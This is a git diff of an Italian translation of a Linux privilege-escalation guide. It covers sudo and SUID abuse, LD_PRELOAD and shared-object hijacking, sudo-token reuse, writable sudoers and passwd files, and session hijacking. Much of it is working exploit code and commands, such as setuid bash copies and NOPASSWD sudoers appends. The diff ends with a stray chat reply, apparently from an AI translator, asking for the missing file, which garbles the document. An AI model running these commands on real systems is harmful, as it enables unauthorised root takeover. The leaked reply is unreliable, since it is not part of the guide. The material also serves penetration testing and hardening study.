Maggiori informazioni: [qui](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [qui](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) e [qui](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Sfruttalo usando:** **`systemd-run -t /bin/bash`** ### Gruppi -Verifica se sei **membro di qualche gruppo** che potrebbe concederti privilegi di root: +Verifica se sei **membro di qualche gruppo** che potrebbe concederti i privilegi di root: {{#ref}} @@ -674,7 +672,7 @@ interesting-groups-linux-pe/ ### Appunti -Controlla se c'è qualcosa di interessante negli appunti (se possibile) +Verifica se c'è qualcosa di interessante negli appunti (se possibile) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -691,22 +689,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Password conosciute -Se conosci **qualche password** dell'ambiente **prova a effettuare il login come ogni utente** usando la password. +Se **conosci una password** dell'ambiente **prova a effettuare il login come ogni utente** usando quella password. ### Su Brute -Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sulla macchina, puoi provare a eseguire un brute-force sugli utenti usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anch'esso a fare brute-force sugli utenti. +Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a brute-forceare gli utenti usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a brute-forceare gli utenti. -## Abusi del $PATH scrivibile +## Abusi di PATH scrivibile ### $PATH -Se scopri di poter **scrivere in qualche cartella del $PATH** potresti essere in grado di elevare i privilegi creando una **backdoor nella cartella scrivibile** con il nome di un comando che verrà eseguito da un altro utente (idealmente root) e che **non venga caricato da una cartella che si trovi prima** della tua cartella scrivibile nel $PATH. +Se scopri che puoi **scrivere in qualche cartella del $PATH** potresti essere in grado di scalare i privilegi creando **una backdoor dentro la cartella scrivibile** con il nome di un comando che verrà eseguito da un utente diverso (idealmente root) e che **non sia caricato da una cartella che si trova prima** della tua cartella scrivibile nel $PATH. -### SUDO and SUID +### SUDO e SUID -Potresti essere autorizzato a eseguire alcuni comandi usando sudo o potrebbero avere il bit suid. Verificalo usando: +Potresti essere autorizzato a eseguire alcuni comandi usando sudo oppure potrebbero avere il bit suid. Verificalo usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -728,25 +726,25 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In questo esempio l'utente `demo` può eseguire `vim` come `root`, è quindi banale ottenere una shell aggiungendo una ssh key nella directory root o eseguendo `sh`. +In questo esempio l'utente `demo` può eseguire `vim` come `root`; ora è triviale ottenere una shell aggiungendo una ssh key nella directory /root o invocando `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Questa direttiva permette all'utente di **set an environment variable** mentre esegue qualcosa: +Questa direttiva permette all'utente di **impostare una variabile d'ambiente** mentre esegue qualcosa: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** a **PYTHONPATH hijacking** per caricare una libreria python arbitraria mentre il script veniva eseguito come root: +Questo esempio, **basato su HTB machine Admirer**, era **vulnerabile** a **PYTHONPATH hijacking** per caricare una libreria python arbitraria mentre lo script veniva eseguito come root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Percorsi che aggirano l'esecuzione di sudo +### Sudo: bypass dei percorsi di esecuzione -**Vai** per leggere altri file o usa **symlinks**. Ad esempio, nel file sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Vai** per leggere altri file o usare **symlinks**. Ad esempio, nel file sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -765,37 +763,37 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Sudo command/SUID binary without command path -Se la **sudo permission** è concessa per un singolo comando **without specifying the path**: _hacker10 ALL= (root) less_ puoi sfruttarla cambiando la variabile PATH +Se il **permesso sudo** è concesso per un singolo comando **senza specificare il percorso**: _hacker10 ALL= (root) less_ puoi sfruttarlo cambiando la variabile PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Questa tecnica può anche essere usata se un binario **suid** **esegue un altro comando senza specificarne il percorso (controlla sempre con** _**strings**_ **il contenuto di un SUID binario sospetto)**. +Questa tecnica può essere utilizzata anche se un binary **suid** **esegue un altro comando senza specificarne il percorso (controlla sempre con** _**strings**_ **il contenuto di un SUID binary sospetto)**. [Payload examples to execute.](payloads-to-execute.md) ### SUID binary con percorso del comando -Se il binario **suid** **esegue un altro comando specificando il percorso**, allora puoi provare a **export a function** chiamata come il comando che il file suid sta invocando. +Se il binary **suid** **esegue un altro comando specificando il percorso**, allora puoi provare a **export a function** chiamata come il comando che il file suid sta invocando. -Per esempio, se un binario suid chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione ed esportarla: +Per esempio, se un binary suid chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione e export it: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Quindi, quando invoci il binario suid, verrà eseguita questa funzione +Quindi, quando esegui il suid binary, questa funzione verrà eseguita ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variabile d'ambiente **LD_PRELOAD** viene utilizzata per specificare una o più librerie condivise (.so) da caricare tramite il loader prima di tutte le altre, inclusa la libreria C standard (`libc.so`). Questo processo è noto come preloading di una libreria. +La variabile d'ambiente **LD_PRELOAD** è usata per specificare una o più librerie condivise (.so files) da caricare dal loader prima di tutte le altre, inclusa la standard C library (`libc.so`). Questo processo è noto come precaricamento di una libreria. -Tuttavia, per mantenere la sicurezza del sistema e prevenire che questa funzionalità venga sfruttata, in particolare con eseguibili **suid/sgid**, il sistema applica determinate condizioni: +Tuttavia, per mantenere la sicurezza del sistema e prevenire che questa funzionalità venga sfruttata, in particolare con eseguibili **suid/sgid**, il sistema applica certe condizioni: -- Il loader ignora **LD_PRELOAD** per gli eseguibili in cui l'ID utente reale (_ruid_) non corrisponde all'ID utente effettivo (_euid_). -- Per gli eseguibili con suid/sgid, vengono precaricate solo le librerie presenti in percorsi standard che siano anch'esse suid/sgid. +- Il loader ignora **LD_PRELOAD** per gli eseguibili in cui il real user ID (_ruid_) non corrisponde all'effective user ID (_euid_). +- Per gli eseguibili con suid/sgid, vengono precaricate solo le librerie in percorsi standard che sono anch'esse suid/sgid. -L'escalation dei privilegi può avvenire se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include la dichiarazione **env_keep+=LD_PRELOAD**. Questa configurazione permette alla variabile d'ambiente **LD_PRELOAD** di persistere ed essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, potenzialmente portando all'esecuzione di codice arbitrario con privilegi elevati. +L'escalation dei privilegi può verificarsi se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include la dichiarazione **env_keep+=LD_PRELOAD**. Questa configurazione permette alla variabile d'ambiente **LD_PRELOAD** di persistere ed essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, potenzialmente portando all'esecuzione di codice arbitrario con privilegi elevati. ``` Defaults env_keep += LD_PRELOAD ``` @@ -817,12 +815,12 @@ Quindi **compilalo** usando: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Infine, **escalate privileges** in esecuzione +Infine, **escalate privileges** eseguendo ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Un privesc simile può essere abusato se l'attacker controlla la **LD_LIBRARY_PATH** env variable, perché controlla il percorso in cui verranno cercate le librerie. +> Un privesc simile può essere sfruttato se l'attaccante controlla la **LD_LIBRARY_PATH** env variable perché controlla il percorso in cui verranno cercate le librerie. ```c #include #include @@ -844,13 +842,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Quando ci si imbatte in un binary con permessi **SUID** che sembra insolito, è buona pratica verificare se sta caricando correttamente i file **.so**. Questo può essere verificato eseguendo il seguente comando: +Quando ci si imbatte in un binario con permessi **SUID** che sembra insolito, è buona pratica verificare se sta caricando correttamente file **.so**. Questo può essere verificato eseguendo il seguente comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggerisce un potenziale per exploitation. +Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggerisce una potenziale opportunità di sfruttamento. -Per effettuare l'exploit, si procederebbe creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice: +Per sfruttarlo, si procederebbe creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice: ```c #include #include @@ -863,11 +861,11 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); ``` Questo codice, una volta compilato ed eseguito, mira a elevare i privilegi manipolando i permessi dei file ed eseguendo una shell con privilegi elevati. -Compila il file C di cui sopra in un shared object (.so) con: +Compila il file C sopra in un oggetto condiviso (.so) con: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Infine, l'esecuzione del binario SUID interessato dovrebbe attivare l'exploit, permettendo una potenziale compromissione del sistema. +Infine, l'esecuzione del SUID binary interessato dovrebbe innescare l'exploit, consentendo una potenziale compromissione del sistema. ## Shared Object Hijacking ```bash @@ -892,7 +890,7 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Se ricevi un errore come +Se ricevi un errore come ad esempio ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` @@ -900,9 +898,9 @@ ciò significa che la libreria che hai generato deve avere una funzione chiamata ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) è una lista curata di binari Unix che possono essere sfruttati da un attaccante per bypassare restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **solo iniettare argomenti** in un comando. +[**GTFOBins**](https://gtfobins.github.io) è una lista curata di binari Unix che possono essere sfruttati da un attacker per bypassare restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **solo injectare argomenti** in un comando. -Il progetto raccoglie funzioni legittime dei binari Unix che possono essere abusate per uscire da shell ristrette, scalare o mantenere privilegi elevati, trasferire file, generare bind e reverse shell, e facilitare altre attività di post-exploitation. +Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusate per evadere restricted shells, escalare o mantenere privilegi elevati, trasferire file, spawnare bind and reverse shells, e facilitare altre attività di post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -921,60 +919,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -Se puoi eseguire `sudo -l` puoi usare lo strumento [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) per verificare se individua un modo per sfruttare qualsiasi regola sudo. +Se puoi eseguire `sudo -l` puoi usare lo strumento [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) per verificare se trova come sfruttare qualche regola sudo. -### Riutilizzo dei token sudo +### Reusing Sudo Tokens -Nei casi in cui hai **accesso sudo** ma non la password, puoi scalare i privilegi aspettando l'esecuzione di un comando sudo e poi dirottando il token di sessione. +In casi in cui hai **sudo access** ma non la password, puoi escalare i privilegi aspettando l'esecuzione di un comando sudo e poi hijackare il token di sessione. -Requisiti per scalare i privilegi: +Requisiti per escalare i privilegi: - Hai già una shell come utente "_sampleuser_" -- "_sampleuser_" ha **usato `sudo`** per eseguire qualcosa negli **ultimi 15 minuti** (per default quella è la durata del token sudo che ci permette di usare `sudo` senza inserire alcuna password) +- "_sampleuser_" abbia **usato `sudo`** per eseguire qualcosa nelle **ultime 15mins** (di default quella è la durata del sudo token che ci permette di usare `sudo` senza inserire alcuna password) - `cat /proc/sys/kernel/yama/ptrace_scope` è 0 - `gdb` è accessibile (puoi caricarlo) -(Puoi abilitare temporaneamente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e impostando `kernel.yama.ptrace_scope = 0`) +(Puoi temporaneamente abilitare `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e impostando `kernel.yama.ptrace_scope = 0`) -Se tutti questi requisiti sono soddisfatti, **puoi scalare i privilegi usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Se tutti questi requisiti sono soddisfatti, **puoi escalare i privilegi usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Il **primo exploit** (`exploit.sh`) creerà il binario `activate_sudo_token` in _/tmp_. Puoi usarlo per **attivare il token sudo nella tua sessione** (non otterrai automaticamente una shell root, esegui `sudo su`): +- Il **primo exploit** (`exploit.sh`) creerà il binario `activate_sudo_token` in _/tmp_. Puoi usarlo per **attivare il sudo token nella tua sessione** (non otterrai automaticamente una shell root, esegui `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **owned by root with setuid** +- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **di proprietà di root con setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Il **terzo exploit** (`exploit_v3.sh`) creerà un **sudoers file** che rende i **sudo tokens** eterni e permette a tutti gli utenti di usare sudo +- Il **terzo exploit** (`exploit_v3.sh`) **creerà un sudoers file** che rende i **sudo tokens eterni e permette a tutti gli utenti di usare sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Se hai i **permessi di scrittura** nella cartella o su uno qualsiasi dei file creati all'interno della cartella, puoi usare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un sudo token per un utente e un PID**.\ +Se hai **permessi di scrittura** nella cartella o su uno qualsiasi dei file creati all'interno della cartella puoi usare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un token sudo per un utente e PID**.\ Per esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **ottenere privilegi sudo** senza dover conoscere la password eseguendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Il file `/etc/sudoers` e i file contenuti in `/etc/sudoers.d` configurano chi può usare `sudo` e come. Questi file **per impostazione predefinita possono essere letti solo dall'utente root e dal gruppo root**.\ -**Se** puoi **leggere** questo file potresti essere in grado di **ottenere informazioni interessanti**, e se puoi **scrivere** qualsiasi file sarai in grado di **escalare i privilegi**. +Il file `/etc/sudoers` e i file all'interno di `/etc/sudoers.d` configurano chi può usare `sudo` e come. Questi file **per impostazione predefinita possono essere letti solo dall'utente root e dal gruppo root**.\ +**Se** puoi **leggere** questo file potresti essere in grado di **ottenere alcune informazioni interessanti**, e se puoi **scrivere** qualsiasi file sarai in grado di **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Se puoi scrivere, puoi abusare di questo permesso. +Se puoi scrivere, puoi abusare di questo permesso ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Un altro modo di abusare di questi permessi: +Un altro modo per abusare di questi permessi: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -983,17 +981,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Esistono alcune alternative al binario `sudo`, come `doas` su OpenBSD; ricordati di controllare la sua configurazione in `/etc/doas.conf`. +Esistono alcune alternative al binario `sudo`, come `doas` per OpenBSD; ricordati di controllare la sua configurazione in `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se sai che un **utente di solito si connette a una macchina e usa `sudo`** per elevare i privilegi e hai ottenuto una shell in quel contesto utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Quindi, **modifica il $PATH** del contesto utente (ad esempio aggiungendo il nuovo percorso in .bash_profile) in modo che quando l'utente esegue sudo, venga eseguito il tuo eseguibile sudo. +Se sai che un **utente solitamente si connette a una macchina e usa `sudo`** per escalation dei privilegi e hai ottenuto una shell nel contesto di quell'utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modificare il $PATH** del contesto utente (per esempio aggiungendo il nuovo percorso in .bash_profile) in modo che quando l'utente esegue sudo, venga eseguito il tuo eseguibile sudo. -Nota che se l'utente usa una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Ad esempio [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Nota che se l'utente usa una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Per esempio[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Oppure eseguendo qualcosa del tipo: +Oppure eseguendo qualcosa come: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Copiando la lib in `/var/tmp/flag15/`, verrà utilizzata dal programma in questo percorso come specificato nella variabile `RPATH`. +Copiando la libreria in `/var/tmp/flag15/`, verrà utilizzata dal programma in questa posizione come specificato nella variabile `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1044,7 +1042,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Poi crea una libreria malevola in `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Quindi crea una libreria dannosa in `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1059,22 +1057,22 @@ execve(file,argv,0); ``` ## Capacità -Le capacità di Linux forniscono un **sottoinsieme dei privilegi di root disponibili a un processo**. Questo suddivide efficacemente i **privilegi di root in unità più piccole e distintive**. Ciascuna di queste unità può quindi essere concessa indipendentemente ai processi. In questo modo l'insieme completo dei privilegi è ridotto, diminuendo i rischi di sfruttamento.\ -Leggi la pagina seguente per **saperne di più sulle capacità e su come abusarne**: +Le capabilities di Linux forniscono un **sottoinsieme dei privilegi root disponibili a un processo**. Questo suddivide effettivamente i privilegi root in **unità più piccole e distinte**. Ciascuna di queste unità può poi essere concessa indipendentemente ai processi. In questo modo l'insieme completo dei privilegi viene ridotto, diminuendo i rischi di sfruttamento.\ +Leggi la pagina seguente per **saperne di più sulle capabilities e su come abusarne**: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## Permessi delle directory -In una directory, il **bit "execute"** implica che l'utente interessato può eseguire un "**cd**" nella cartella.\ -Il **bit "read"** implica che l'utente possa **elencare** i **file**, e il **bit "write"** implica che l'utente possa **cancellare** e **creare** nuovi **file**. +In una directory, il **bit "execute"** implica che l'utente interessato può "**cd**" nella cartella.\ +Il bit **"read"** implica che l'utente può **elencare** i **file**, e il bit **"write"** implica che l'utente può **cancellare** e **creare** nuovi **file**. ## ACLs -Access Control Lists (ACLs) rappresentano il livello secondario di permessi discrezionali, in grado di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory permettendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Le Access Control Lists (ACL) rappresentano il livello secondario di permessi discrezionali, in grado di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory permettendo o negando diritti a utenti specifici che non sono i proprietari o membri del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Concedi** all'utente "kali" permessi di lettura e scrittura su un file: ```bash @@ -1083,18 +1081,18 @@ setfacl -m u:kali:rw file.txt setfacl -b file.txt #Remove the ACL of the file ``` -**Ottieni** file con ACL specifiche dal sistema: +**Ottieni** file con ACLs specifiche dal sistema: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Aprire shell sessions +## Sessioni shell aperte Nelle **vecchie versioni** potresti **hijack** alcune sessioni **shell** di un altro utente (**root**).\ -Nelle **versioni più recenti** potrai **connect** solo alle sessioni di screen del **tuo stesso utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. +Nelle **versioni più recenti** potrai **connetterti** alle sessioni screen solo del **tuo stesso user**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. -### hijacking delle sessioni di screen +### hijacking delle sessioni screen -**Elenca le screen sessions** +**Elenca le sessioni screen** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1109,7 +1107,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Questo era un problema con **vecchie versioni di tmux**. Non sono riuscito a hijackare una sessione tmux (v2.1) creata da root come utente non privilegiato. +Questo era un problema con le **vecchie versioni di tmux**. Non sono riuscito a hijack una sessione tmux (v2.1) creata da root come utente non privilegiato. **Elenca le sessioni tmux** ```bash @@ -1135,13 +1133,13 @@ Vedi **Valentine box from HTB** per un esempio. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Tutte le SSL e SSH keys generate su sistemi basati su Debian (Ubuntu, Kubuntu, etc) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.\ -Questo bug si verifica quando si crea una nuova ssh key in quegli OS, poiché **solo 32,768 variazioni erano possibili**. Questo significa che tutte le possibilità possono essere calcolate e **avendo la ssh public key puoi cercare la corrispondente private key**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Tutte le SSL and SSH keys generate su sistemi basati su Debian (Ubuntu, Kubuntu, etc) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.\ +Questo bug si verifica quando si crea una nuova ssh key in quegli OS, poiché **solo 32,768 variazioni erano possibili**. Questo significa che tutte le possibilità possono essere calcolate e **avendo la ssh public key puoi cercare la private key corrispondente**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### SSH Valori di configurazione interessanti -- **PasswordAuthentication:** Specifica se è consentita l'autenticazione tramite password. Il valore predefinito è `no`. -- **PubkeyAuthentication:** Specifica se è consentita l'autenticazione tramite public key. Il valore predefinito è `yes`. +- **PasswordAuthentication:** Specifica se l'autenticazione tramite password è consentita. Il valore predefinito è `no`. +- **PubkeyAuthentication:** Specifica se l'autenticazione tramite public key è consentita. Il valore predefinito è `yes`. - **PermitEmptyPasswords**: Quando l'autenticazione tramite password è consentita, specifica se il server permette il login ad account con stringhe di password vuote. Il valore predefinito è `no`. ### PermitRootLogin @@ -1149,63 +1147,63 @@ Questo bug si verifica quando si crea una nuova ssh key in quegli OS, poiché ** Specifica se root può effettuare il login usando ssh, il valore predefinito è `no`. Valori possibili: - `yes`: root può effettuare il login usando password e private key -- `without-password` or `prohibit-password`: root può accedere solo con una private key -- `forced-commands-only`: root può accedere solo usando una private key e se sono specificate opzioni di comando +- `without-password` or `prohibit-password`: root può effettuare il login solo con una private key +- `forced-commands-only`: Root può effettuare il login solo usando private key e se sono specificate le opzioni commands - `no` : no ### AuthorizedKeysFile -Specifica i file che contengono le public keys che possono essere usate per l'autenticazione degli utenti. Può contenere token come `%h`, che verrà sostituito dalla home directory. **Puoi indicare percorsi assoluti** (che iniziano con `/`) o **percorsi relativi dalla home dell'utente**. Per esempio: +Specifica i file che contengono le public keys che possono essere usate per l'autenticazione degli utenti. Può contenere token come `%h`, che verrà sostituito con la home directory. **Puoi indicare percorsi assoluti** (starting in `/`) o **percorsi relativi dalla home dell'utente**. Per esempio: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Quella configurazione indica che se provi a effettuare il login con la **private** key dell'utente "**testusername**" ssh confronterà la public key della tua key con quelle presenti in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` +Questa configurazione indicherà che se provi a effettuare il login con la **private** key dell'utente "**testusername**", ssh confronterà la public key della tua key con quelle presenti in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding permette di **usare le tue SSH keys locali invece di lasciare keys** (senza passphrase!) sul server. In questo modo potrai **jump** via ssh **a un host** e da lì **jump a un altro** host **usando** la **key** presente nel tuo **host iniziale**. +SSH agent forwarding permette di **use your local SSH keys instead of leaving keys** (without passphrases!) sul tuo server. Quindi sarai in grado di **jump** via ssh **to a host** e da lì **jump to another** host **using** the **key** located in your **initial host**. -Devi impostare questa opzione in `$HOME/.ssh.config` così: +Devi impostare questa opzione in `$HOME/.ssh.config` come segue: ``` Host example.com ForwardAgent yes ``` -Nota che se `Host` è `*` ogni volta che l'utente si sposta su una macchina diversa, quell'host potrà accedere alle chiavi (il che rappresenta un problema di sicurezza). +Nota che se `Host` è `*` ogni volta che l'utente salta su una macchina diversa, quell'host potrà accedere alle chiavi (il che è un problema di sicurezza). Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e permettere o negare questa configurazione.\ -Il file `/etc/sshd_config` può **consentire** o **negare** ssh-agent forwarding con la parola chiave `AllowAgentForwarding` (di default è consentito). +Il file `/etc/sshd_config` può **consentire** o **negare** ssh-agent forwarding con la keyword `AllowAgentForwarding` (default è allow). -Se trovi che Forward Agent è configurato in un ambiente, leggi la seguente pagina poiché **potresti essere in grado di abusarne per ottenere privilegi elevati**: +Se scopri che Forward Agent è configurato in un ambiente, leggi la pagina seguente perché **potresti riuscire ad abusarne per elevare i privilegi**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## File interessanti +## File di interesse ### File di profilo -Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente apre una nuova shell**. Pertanto, se puoi **scrivere o modificare uno di essi, puoi ottenere privilegi elevati**. +Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno qualsiasi di essi puoi elevare i privilegi**. ```bash ls -l /etc/profile /etc/profile.d/ ``` Se viene trovato uno script di profilo sospetto dovresti controllarlo per **dettagli sensibili**. -### Passwd/Shadow Files +### File Passwd/Shadow -A seconda dell'OS i file `/etc/passwd` e `/etc/shadow` potrebbero avere un nome diverso o potrebbe esserci una copia di backup. Pertanto è consigliabile **trovarli tutti** e **verificare se puoi leggerli** per vedere **se ci sono hashes** all'interno dei file: +A seconda del sistema operativo i file `/etc/passwd` e `/etc/shadow` potrebbero usare un nome diverso o potrebbero esserci delle copie di backup. Perciò si consiglia di **trovarli tutti** e **controllare se puoi leggerli** per vedere **se ci sono hash** all'interno dei file: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -In alcune occasioni si possono trovare **password hashes** all'interno del file `/etc/passwd` (o equivalente) +In alcune occasioni puoi trovare **password hashes** all'interno del file `/etc/passwd` (o equivalente) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### /etc/passwd scrivibile +### Scrivibile /etc/passwd Per prima cosa, genera una password con uno dei seguenti comandi. ``` @@ -1213,30 +1211,23 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Non ho ricevuto il contenuto di src/linux-hardening/privilege-escalation/README.md. Per procedere ho bisogno del testo da tradurre. - -Per favore: -- Incolla qui il contenuto del file README.md. -- Vuoi che generi una password casuale per l'utente `hacker`? Se sì, specifica lunghezza e se includere simboli; altrimenti fornisci la password da inserire. 